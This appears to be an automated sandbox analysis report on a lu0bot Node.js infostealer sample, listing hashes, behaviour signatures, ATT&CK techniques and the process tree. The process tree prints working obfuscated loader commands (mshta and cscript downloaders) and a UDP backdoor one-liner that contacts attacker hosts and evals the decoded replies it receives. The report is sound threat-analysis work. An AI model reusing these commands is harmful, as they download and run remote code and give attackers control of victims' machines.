lu0bot | 863c612734f5ff0ff0ea3fed7fd790dfb43c47eecdc1417bcd82c0ad866419af

General

Target

usfive_20210720-060205(1).exe
Size

3KB
MD5

463127c9a2b5eb1bca799aced10e4954
SHA1

df78c1cca98d6f260f744a2b0639e1fff1c11a5e
SHA256

863c612734f5ff0ff0ea3fed7fd790dfb43c47eecdc1417bcd82c0ad866419af
SHA512

86c01a90941ad53e7d5c77b64c249bb0b4a69d9cc0f3e3971813464312a80ef6b06caef24cec9e9e194a25f0e667eafb445acbe9ce220830e4681312b498d9a4

Score

10^/10

lu0bot discovery stealer trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot
Blocklisted process makes network request 2 IoCs

Processes:

mshta.execscript.exe

flow pid process

12 3128 mshta.exe
13 2752 cscript.exe
Executes dropped EXE 1 IoCs

Processes:

node.exe

pid process

1016 node.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

3196 icacls.exe

flow	pid	process
12	3128	mshta.exe
13	2752	cscript.exe

pid	process
1016	node.exe

pid	process
3196	icacls.exe

Drops file in Windows directory 2 IoCs

Processes:

expand.exe

description	ioc	process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

node.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery
T1057

Processes:

tasklist.exe

pid process

640 tasklist.exe
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.

System Information Discovery
T1082

Command-Line Interface
T1059

Processes:

ipconfig.exenetstat.exe

pid process

1256 ipconfig.exe
3052 netstat.exe
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.

System Information Discovery
T1082

Processes:

systeminfo.exe

pid process

1576 systeminfo.exe

pid	process
640	tasklist.exe

pid	process
1256	ipconfig.exe
3052	netstat.exe

pid	process
1576	systeminfo.exe

NTFS ADS 2 IoCs

Processes:

node.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Temp\476b392368cefbf4:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:4672ebd37f9e76637f375dcd7c701bb9	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	12	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	13	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

node.exe

pid process

1016 node.exe
1016 node.exe
1016 node.exe
1016 node.exe

pid	process
1016	node.exe
1016	node.exe
1016	node.exe
1016	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

Processes:

tasklist.exewmic.exenetstat.exe

description	pid	process
Token: SeDebugPrivilege	640	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3976	wmic.exe
Token: SeSecurityPrivilege	3976	wmic.exe
Token: SeTakeOwnershipPrivilege	3976	wmic.exe
Token: SeLoadDriverPrivilege	3976	wmic.exe
Token: SeSystemProfilePrivilege	3976	wmic.exe
Token: SeSystemtimePrivilege	3976	wmic.exe
Token: SeProfSingleProcessPrivilege	3976	wmic.exe
Token: SeIncBasePriorityPrivilege	3976	wmic.exe
Token: SeCreatePagefilePrivilege	3976	wmic.exe
Token: SeBackupPrivilege	3976	wmic.exe
Token: SeRestorePrivilege	3976	wmic.exe
Token: SeShutdownPrivilege	3976	wmic.exe
Token: SeDebugPrivilege	3976	wmic.exe
Token: SeSystemEnvironmentPrivilege	3976	wmic.exe
Token: SeRemoteShutdownPrivilege	3976	wmic.exe
Token: SeUndockPrivilege	3976	wmic.exe
Token: SeManageVolumePrivilege	3976	wmic.exe
Token: 33	3976	wmic.exe
Token: 34	3976	wmic.exe
Token: 35	3976	wmic.exe
Token: 36	3976	wmic.exe
Token: SeIncreaseQuotaPrivilege	3976	wmic.exe
Token: SeSecurityPrivilege	3976	wmic.exe
Token: SeTakeOwnershipPrivilege	3976	wmic.exe
Token: SeLoadDriverPrivilege	3976	wmic.exe
Token: SeSystemProfilePrivilege	3976	wmic.exe
Token: SeSystemtimePrivilege	3976	wmic.exe
Token: SeProfSingleProcessPrivilege	3976	wmic.exe
Token: SeIncBasePriorityPrivilege	3976	wmic.exe
Token: SeCreatePagefilePrivilege	3976	wmic.exe
Token: SeBackupPrivilege	3976	wmic.exe
Token: SeRestorePrivilege	3976	wmic.exe
Token: SeShutdownPrivilege	3976	wmic.exe
Token: SeDebugPrivilege	3976	wmic.exe
Token: SeSystemEnvironmentPrivilege	3976	wmic.exe
Token: SeRemoteShutdownPrivilege	3976	wmic.exe
Token: SeUndockPrivilege	3976	wmic.exe
Token: SeManageVolumePrivilege	3976	wmic.exe
Token: 33	3976	wmic.exe
Token: 34	3976	wmic.exe
Token: 35	3976	wmic.exe
Token: 36	3976	wmic.exe
Token: SeDebugPrivilege	3052	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

Processes:

usfive_20210720-060205(1).exemshta.execmd.execscript.exenode.exe

description	pid	process	target process
PID 396 wrote to memory of 3128	396	usfive_20210720-060205(1).exe	mshta.exe
PID 396 wrote to memory of 3128	396	usfive_20210720-060205(1).exe	mshta.exe
PID 396 wrote to memory of 3128	396	usfive_20210720-060205(1).exe	mshta.exe
PID 3128 wrote to memory of 868	3128	mshta.exe	cmd.exe
PID 3128 wrote to memory of 868	3128	mshta.exe	cmd.exe
PID 3128 wrote to memory of 868	3128	mshta.exe	cmd.exe
PID 868 wrote to memory of 2752	868	cmd.exe	cscript.exe
PID 868 wrote to memory of 2752	868	cmd.exe	cscript.exe
PID 868 wrote to memory of 2752	868	cmd.exe	cscript.exe
PID 868 wrote to memory of 1316	868	cmd.exe	expand.exe
PID 868 wrote to memory of 1316	868	cmd.exe	expand.exe
PID 868 wrote to memory of 1316	868	cmd.exe	expand.exe
PID 868 wrote to memory of 3772	868	cmd.exe	cscript.exe
PID 868 wrote to memory of 3772	868	cmd.exe	cscript.exe
PID 868 wrote to memory of 3772	868	cmd.exe	cscript.exe
PID 3772 wrote to memory of 1016	3772	cscript.exe	node.exe
PID 3772 wrote to memory of 1016	3772	cscript.exe	node.exe
PID 3772 wrote to memory of 1016	3772	cscript.exe	node.exe
PID 1016 wrote to memory of 4052	1016	node.exe	cmd.exe
PID 1016 wrote to memory of 4052	1016	node.exe	cmd.exe
PID 1016 wrote to memory of 4052	1016	node.exe	cmd.exe
PID 1016 wrote to memory of 3332	1016	node.exe	cacls.exe
PID 1016 wrote to memory of 3332	1016	node.exe	cacls.exe
PID 1016 wrote to memory of 3332	1016	node.exe	cacls.exe
PID 1016 wrote to memory of 3196	1016	node.exe	icacls.exe
PID 1016 wrote to memory of 3196	1016	node.exe	icacls.exe
PID 1016 wrote to memory of 3196	1016	node.exe	icacls.exe
PID 1016 wrote to memory of 3200	1016	node.exe	attrib.exe
PID 1016 wrote to memory of 3200	1016	node.exe	attrib.exe
PID 1016 wrote to memory of 3200	1016	node.exe	attrib.exe
PID 1016 wrote to memory of 2584	1016	node.exe	attrib.exe
PID 1016 wrote to memory of 2584	1016	node.exe	attrib.exe
PID 1016 wrote to memory of 2584	1016	node.exe	attrib.exe
PID 1016 wrote to memory of 640	1016	node.exe	tasklist.exe
PID 1016 wrote to memory of 640	1016	node.exe	tasklist.exe
PID 1016 wrote to memory of 640	1016	node.exe	tasklist.exe
PID 1016 wrote to memory of 3976	1016	node.exe	wmic.exe
PID 1016 wrote to memory of 3976	1016	node.exe	wmic.exe
PID 1016 wrote to memory of 3976	1016	node.exe	wmic.exe
PID 1016 wrote to memory of 1256	1016	node.exe	ipconfig.exe
PID 1016 wrote to memory of 1256	1016	node.exe	ipconfig.exe
PID 1016 wrote to memory of 1256	1016	node.exe	ipconfig.exe
PID 1016 wrote to memory of 208	1016	node.exe	route.exe
PID 1016 wrote to memory of 208	1016	node.exe	route.exe
PID 1016 wrote to memory of 208	1016	node.exe	route.exe
PID 1016 wrote to memory of 3052	1016	node.exe	netstat.exe
PID 1016 wrote to memory of 3052	1016	node.exe	netstat.exe
PID 1016 wrote to memory of 3052	1016	node.exe	netstat.exe
PID 1016 wrote to memory of 1576	1016	node.exe	systeminfo.exe
PID 1016 wrote to memory of 1576	1016	node.exe	systeminfo.exe
PID 1016 wrote to memory of 1576	1016	node.exe	systeminfo.exe

Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exe

pid process

3200 attrib.exe
2584 attrib.exe

pid	process
3200	attrib.exe
2584	attrib.exe

C:\Users\Admin\AppData\Local\Temp\usfive_20210720-060205(1).exe
"C:\Users\Admin\AppData\Local\Temp\usfive_20210720-060205(1).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:396

C:\Windows\SysWOW64\mshta.exe
mshta "javascript:document.write();0;y=unescape('%318%36%7E%68t%74p%3A%2F%2Fa%73u%302%2Es%68o%70%2F%68r%69%2F%3F2%31a%36e%34b%7E1%304').split('~');182;try{x='WinHttp';5;x=new ActiveXObject(x+'.'+x+'Request.5.1');141;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);238;x.send();115;y='ipt.S';143;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);27;}catch(e){};167;;window.close();"
2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3128

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1626768640845.txt & cscript /nologo /e:jscript get1626768640845.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2f0098db7%26b%3Daa2c1c33" node.cab & expand node.cab node.exe & del get1626768640845.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1626768640845.txt & cscript /nologo /e:jscript get1626768640845.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27f0098db7%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1626768640845.txt
3⤵
- Suspicious use of WriteProcessMemory
PID:868

C:\Windows\SysWOW64\cscript.exe
cscript /nologo /e:jscript get1626768640845.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2f0098db7%26b%3Daa2c1c33" node.cab
4⤵
- Blocklisted process makes network request
PID:2752

C:\Windows\SysWOW64\expand.exe
expand node.cab node.exe
4⤵
- Drops file in Windows directory
PID:1316

C:\Windows\SysWOW64\cscript.exe
cscript /nologo /e:jscript get1626768640845.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27f0098db7%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
4⤵
- Suspicious use of WriteProcessMemory
PID:3772

C:\ProgramData\DNTException\node.exe
"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27f0098db7%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1016

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c dir C:\
6⤵
PID:4052

C:\Windows\SysWOW64\cacls.exe
cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
6⤵
PID:3332

C:\Windows\SysWOW64\icacls.exe
icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
6⤵
- Modifies file permissions
PID:3196

C:\Windows\SysWOW64\attrib.exe
attrib.exe +H C:\ProgramData\DNTException
6⤵
- Views/modifies file attributes
PID:3200

C:\Windows\SysWOW64\attrib.exe
attrib.exe +H C:\ProgramData\DNTException\node.exe
6⤵
- Views/modifies file attributes
PID:2584

C:\Windows\SysWOW64\tasklist.exe
tasklist /fo csv /nh
6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:640

C:\Windows\SysWOW64\Wbem\wmic.exe
wmic process get processid,parentprocessid,name,executablepath /format:csv
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:3976

C:\Windows\SysWOW64\ipconfig.exe
ipconfig.exe /all
6⤵
- Gathers network information
PID:1256

C:\Windows\SysWOW64\route.exe
route.exe print
6⤵
PID:208

C:\Windows\SysWOW64\netstat.exe
netstat.exe -ano
6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:3052

C:\Windows\SysWOW64\systeminfo.exe
systeminfo.exe /fo csv
6⤵
- Gathers system information
PID:1576

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

1

T1059

Persistence

Hidden Files and Directories

1

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

1

T1222

Hidden Files and Directories

1

T1158

Credential Access

Discovery

Process Discovery

Query Registry

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\DNTException\get1626768640845.txt

MD5
52ec5ebd8a447b5115ce83e703bcde51

SHA1
38ce97f87c6be668d07985558fc89c53e27770a3

SHA256
ef1be6a77e480e683331052654d3db47a02fe4b7af3e35e67b9248e989307615

SHA512
9af71d426564ef92ff6de1d89107161c138bbdd9dc08b5e380a0b94e7b2e91ec4d498a1d8f4514552a45bf14a8f9078dc295aa1cb86cfc063427ad218e9d5f32

Download Submit
C:\ProgramData\DNTException\get1626768640845.txt

MD5
e15f82747d0884d61a5bc4fb2db7d29d

SHA1
aca478622586f17603fe56705fd319b75198b2b0

SHA256
982675d0465497986b3ece89f08f81a4629d975617671153e0ca653f2589966f

SHA512
d8c17e54cbefa72191c238f23d619a4637fd74c8c8b9975071bf5507c5a34259495cd20e516c7f7f0c215ec4f724b22de88b8a5ea43765c019eb067600cf661d

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C:\ProgramData\DNTException\node.cab

MD5
c7ed3d9304a29c8b472174bd910be071

SHA1
22b7d55b80acd434c13b0a2d8c59b45c10220a42

SHA256
abbaffb1b56bd3c5db5aedf4bdc0794d82bedba43677d13cd1056cb5412b3441

SHA512
c65c80564019ae54145a939f9ed463895c337f020cbd769647dc6baf8db5db283a5e151c2ae4f10681d23db161d791ce59c395d8ebba603a27a2a6be0368a1a2

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C:\ProgramData\DNTException\node.exe

MD5
11f0b4e17e686cdc46f85a6becede4a8

SHA1
2826f7ac33b43439ecddd08ad541a7f54a9eb7c0

SHA256
6a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c

SHA512
11a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f

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C:\ProgramData\DNTException\node.exe

MD5
11f0b4e17e686cdc46f85a6becede4a8

SHA1
2826f7ac33b43439ecddd08ad541a7f54a9eb7c0

SHA256
6a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c

SHA512
11a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f

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memory/208-139-0x0000000000000000-mapping.dmp

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memory/640-136-0x0000000000000000-mapping.dmp

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memory/868-115-0x0000000000000000-mapping.dmp

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memory/1016-128-0x000000001EE00000-0x000000001EE01000-memory.dmp

Filesize
4KB

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memory/1016-123-0x0000000000000000-mapping.dmp

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memory/1016-125-0x0000000015F00000-0x0000000015F01000-memory.dmp

Filesize
4KB

Download
memory/1016-126-0x000000002D100000-0x000000002D101000-memory.dmp

Filesize
4KB

Download
memory/1016-127-0x000000002F600000-0x000000002F601000-memory.dmp

Filesize
4KB

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memory/1016-129-0x000000001E100000-0x000000001E101000-memory.dmp

Filesize
4KB

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memory/1016-130-0x0000000027D00000-0x0000000027D01000-memory.dmp

Filesize
4KB

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memory/1256-138-0x0000000000000000-mapping.dmp

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memory/1316-118-0x0000000000000000-mapping.dmp

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memory/1576-141-0x0000000000000000-mapping.dmp

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memory/2584-135-0x0000000000000000-mapping.dmp

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memory/2752-116-0x0000000000000000-mapping.dmp

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memory/3052-140-0x0000000000000000-mapping.dmp

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memory/3128-114-0x0000000000000000-mapping.dmp

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memory/3196-133-0x0000000000000000-mapping.dmp

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memory/3200-134-0x0000000000000000-mapping.dmp

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memory/3332-132-0x0000000000000000-mapping.dmp

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memory/3772-120-0x0000000000000000-mapping.dmp

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memory/3976-137-0x0000000000000000-mapping.dmp

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memory/4052-131-0x0000000000000000-mapping.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads